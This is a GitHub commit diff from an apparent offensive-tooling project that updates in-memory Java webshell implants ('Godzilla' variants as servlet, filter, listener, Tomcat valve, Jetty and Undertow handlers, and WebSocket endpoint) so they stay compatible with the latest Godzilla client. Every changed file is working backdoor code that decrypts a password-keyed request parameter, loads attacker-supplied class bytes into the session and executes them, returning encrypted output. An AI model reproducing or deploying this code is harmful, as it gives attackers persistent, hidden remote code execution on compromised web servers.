Skip to content

Commit 7069c4a

Browse files
committed
fix: Godzilla not work on latest version
1 parent d49a77a commit 7069c4a

File tree

8 files changed

+28
-33
lines changed

8 files changed

+28
-33
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -40,14 +40,14 @@ public boolean equals(Object obj) {
4040
if (sessionPayload == null) {
4141
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new Godzilla(Thread.currentThread().getContextClassLoader())).Q(data));
4242
} else {
43-
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
4443
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
4544
Object f = ((Class<?>) sessionPayload).newInstance();
46-
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
4745
f.equals(arrOut);
4846
f.equals(request);
49-
writer.write(md5.substring(0, 16));
47+
f.equals(data);
5048
f.toString();
49+
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
50+
writer.write(md5.substring(0, 16));
5151
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
5252
writer.write(md5.substring(16));
5353
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -37,15 +37,15 @@ public void doFilter(ServletRequest servletRequest, ServletResponse servletRespo
3737
byte[] data = base64Decode(request.getParameter(pass));
3838
data = this.x(data, false);
3939
if (session.getAttribute("payload") == null) {
40-
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
40+
session.setAttribute("payload", (new GodzillaFilter(Thread.currentThread().getContextClassLoader())).Q(data));
4141
} else {
42-
request.setAttribute("parameters", data);
4342
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
4443
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
4544
f.equals(arrOut);
4645
f.equals(request);
47-
response.getWriter().write(md5.substring(0, 16));
46+
f.equals(data);
4847
f.toString();
48+
response.getWriter().write(md5.substring(0, 16));
4949
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
5050
response.getWriter().write(md5.substring(16));
5151
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -58,14 +58,14 @@ public boolean equals(Object obj) {
5858
if (sessionPayload == null) {
5959
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", (new GodzillaJettyHandler(Thread.currentThread().getContextClassLoader())).Q(data));
6060
} else {
61-
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
6261
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
6362
Object f = ((Class<?>) sessionPayload).newInstance();
64-
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
6563
f.equals(arrOut);
6664
f.equals(request);
67-
writer.write(md5.substring(0, 16));
65+
f.equals(data);
6866
f.toString();
67+
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
68+
writer.write(md5.substring(0, 16));
6969
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
7070
writer.write(md5.substring(16));
7171
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -97,15 +97,15 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
9797
if (session.getAttribute("payload") == null) {
9898
session.setAttribute(
9999
"payload",
100-
(new GodzillaListener(this.getClass().getClassLoader())).Q(data));
100+
(new GodzillaListener(Thread.currentThread().getContextClassLoader())).Q(data));
101101
} else {
102-
request.setAttribute("parameters", data);
103102
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
104103
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
105104
f.equals(arrOut);
106105
f.equals(request);
107-
response.getWriter().write(md5.substring(0, 16));
106+
f.equals(data);
108107
f.toString();
108+
response.getWriter().write(md5.substring(0, 16));
109109
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
110110
response.getWriter().write(md5.substring(16));
111111
response.flushBuffer();

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java

Lines changed: 4 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -37,20 +37,15 @@ public void service(ServletRequest req, ServletResponse res) throws ServletExcep
3737
byte[] data = base64Decode(request.getParameter(pass));
3838
data = this.x(data, false);
3939
if (session.getAttribute("payload") == null) {
40-
session.setAttribute("payload", (new GodzillaServlet(this.getClass().getClassLoader())).Q(data));
40+
session.setAttribute("payload", (new GodzillaServlet(Thread.currentThread().getContextClassLoader())).Q(data));
4141
} else {
42-
request.setAttribute("parameters", data);
4342
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
44-
Object f;
45-
try {
46-
f = ((Class<?>) session.getAttribute("payload")).newInstance();
47-
} catch (Exception e) {
48-
throw new RuntimeException(e);
49-
}
43+
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
5044
f.equals(arrOut);
5145
f.equals(request);
52-
response.getWriter().write(md5.substring(0, 16));
46+
f.equals(data);
5347
f.toString();
48+
response.getWriter().write(md5.substring(0, 16));
5449
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
5550
response.getWriter().write(md5.substring(16));
5651
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -47,11 +47,12 @@ public boolean equals(Object obj) {
4747
request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data);
4848
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
4949
Object f = ((Class<?>) sessionPayload).newInstance();
50-
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
5150
f.equals(arrOut);
5251
f.equals(request);
53-
writer.write(md5.substring(0, 16));
52+
f.equals(data);
5453
f.toString();
54+
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
55+
writer.write(md5.substring(0, 16));
5556
writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
5657
writer.write(md5.substring(16));
5758
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -111,16 +111,15 @@ public void invoke(Request request, Response response) throws IOException, Servl
111111
byte[] data = base64Decode(request.getParameter(pass));
112112
data = this.x(data, false);
113113
if (session.getAttribute("payload") == null) {
114-
session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data));
114+
session.setAttribute("payload", (new GodzillaValve(Thread.currentThread().getContextClassLoader())).Q(data));
115115
} else {
116-
request.setAttribute("parameters", data);
117116
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
118117
Object f = ((Class) session.getAttribute("payload")).newInstance();
119118
f.equals(arrOut);
120-
f.equals(data);
121119
f.equals(request);
122-
response.getWriter().write(md5.substring(0, 16));
120+
f.equals(data);
123121
f.toString();
122+
response.getWriter().write(md5.substring(0, 16));
124123
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
125124
response.getWriter().write(md5.substring(16));
126125
response.flushBuffer();

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -74,12 +74,12 @@ public void onMessage(String message) {
7474
payload = reflectionDefineClass(data);
7575
session.getBasicRemote().sendText(base64Encode(x("ok".getBytes(), true)));
7676
} else {
77-
ByteArrayOutputStream bos = new ByteArrayOutputStream();
78-
Object obj = payload.newInstance();
79-
obj.equals(data);
80-
obj.equals(bos);
81-
obj.toString();
82-
session.getBasicRemote().sendText(base64Encode(x(bos.toByteArray(), true)));
77+
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
78+
Object f = payload.newInstance();
79+
f.equals(arrOut);
80+
f.equals(data);
81+
f.toString();
82+
session.getBasicRemote().sendText(base64Encode(x(arrOut.toByteArray(), true)));
8383
}
8484
} catch (Throwable e) {
8585
e.printStackTrace();

0 commit comments

Comments
 (0)